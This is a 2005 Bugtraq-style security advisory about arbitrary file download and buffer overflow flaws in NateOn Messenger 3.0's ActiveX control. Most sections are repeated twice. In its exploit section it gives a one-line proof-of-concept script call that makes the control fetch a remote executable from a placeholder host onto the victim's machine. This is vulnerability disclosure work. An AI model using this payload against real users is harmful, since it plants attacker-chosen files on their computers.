NateOn Messenger Arbitrary File Download And Buffer Overflow Vulnerabilities
BID:14974
Info
NateOn Messenger Arbitrary File Download And Buffer Overflow Vulnerabilities
| Bugtraq ID: | 14974 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 29 2005 12:00AM |
| Updated: | Sep 29 2005 12:00AM |
| Credit: | "saintlinu" <[email protected]> disclosed these issues. |
| Vulnerable: |
Nate.com NateOn Messenger 3.0 |
| Not Vulnerable: | |
Discussion
NateOn Messenger Arbitrary File Download And Buffer Overflow Vulnerabilities
NateOn Messenger is susceptible to an arbitrary file download vulnerability, and a buffer overflow vulnerability. These issues are present in the 'NateonDownloadManager.ocx' ActiveX control that is installed with the application.
An attacker would exploit these issues by creating malicious HTML containing script code that accesses the vulnerable ActiveX controls. This issue allows remote attackers to fetch arbitrary remote files and save them on the local machine.
The buffer overflow vulnerability allows remote attackers to execute arbitrary machine code in the context of the user running the affected software, facilitating remote system compromise.
Attackers may utilize these vulnerabilities in conjunction with each other in order to transfer malicious code to targeted users, and then execute it.
NateOn Messenger is susceptible to an arbitrary file download vulnerability, and a buffer overflow vulnerability. These issues are present in the 'NateonDownloadManager.ocx' ActiveX control that is installed with the application.
An attacker would exploit these issues by creating malicious HTML containing script code that accesses the vulnerable ActiveX controls. This issue allows remote attackers to fetch arbitrary remote files and save them on the local machine.
The buffer overflow vulnerability allows remote attackers to execute arbitrary machine code in the context of the user running the affected software, facilitating remote system compromise.
Attackers may utilize these vulnerabilities in conjunction with each other in order to transfer malicious code to targeted users, and then execute it.
Exploit / POC
NateOn Messenger Arbitrary File Download And Buffer Overflow Vulnerabilities
To exploit the arbitrary file download vulnerability, a malicious Web page may include the following script code:
GotNate.Excute("1",'http://www.example.com/somefile.exe','c:\\windows\\system32\\cmd.exe');
Currently we are not aware of any exploits for the buffer overflow issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
To exploit the arbitrary file download vulnerability, a malicious Web page may include the following script code:
GotNate.Excute("1",'http://www.example.com/somefile.exe','c:\\windows\\system32\\cmd.exe');
Currently we are not aware of any exploits for the buffer overflow issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution / Fix
NateOn Messenger Arbitrary File Download And Buffer Overflow Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
NateOn Messenger Arbitrary File Download And Buffer Overflow Vulnerabilities
References:
References:
- NateOn Homepage (Nate.com)